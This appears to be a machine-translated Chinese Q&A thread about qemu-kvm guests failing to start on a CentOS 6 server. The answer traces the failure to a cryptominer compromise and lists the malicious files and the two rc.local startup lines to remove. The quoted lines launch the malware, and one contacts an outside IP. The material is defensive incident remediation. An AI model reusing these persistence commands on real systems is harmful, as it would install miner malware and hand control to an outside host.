我無法在CentOS 6服務器上啓動qemu-kvm

我在CentOS 6.6節點上使用qemu-kvm。由於沒有明顯的原因，該節點在夜間重新啓動，並且虛擬機在啓動時不會自動啓動。我無法在CentOS 6服務器上啓動qemu-kvm

我試圖啓動機器，我得到這個錯誤：

# start srv50 
error: Failed to start domain srv50 
error: internal error problem reading /sys/devices/system/node/node0: No such file or directory

我試圖檢查/ SYS /設備/系統/節點/ NODE0是否訪問，這似乎是：

drwxr-xr-x 3 root root 0 Sep 12 08:22 /sys/devices/system/node/node0

下面是libvirt的日誌文件：

我嘗試的CentOS升級到最新版本，這個重置libvirtd配置，但我仍然得到相同的錯誤。

如何啓動這些虛擬機以及節點文件有什麼問題？

最近根據一些類似的情況，您的服務器可能會受到危害。

您應該檢查您的/etc/rc.local，看看是否添加了類似_-pud和_-minerd。如果它們存在，那麼你就是其中一個受害者。

爲了讓您的虛擬機回來，你需要刪除這些文件：

/usr/bin/_-minerd
/usr/bin/_-pud
/usr/bin/_-config
/etc/ld.so.preload
/lib64/libncom.so.4.0.1
/tmp/initramfs.*/lib64/libncom.so.4.0.1

而且不要忘了刪除/etc/rc.local這兩條線：

nohup /usr/bin/_-pud 119.78.232.8 >/dev/null
nohup /usr/bin/_-minerd -c /usr/bin/_-config 2> /dev/null&

虛擬機應啓動並運行在下次重新啓動。

請記住檢查您的IPMI或iDRAC是否可從Internet訪問，此問題是由IPMI固件中的漏洞引起的。建議更新到新版本的固件。
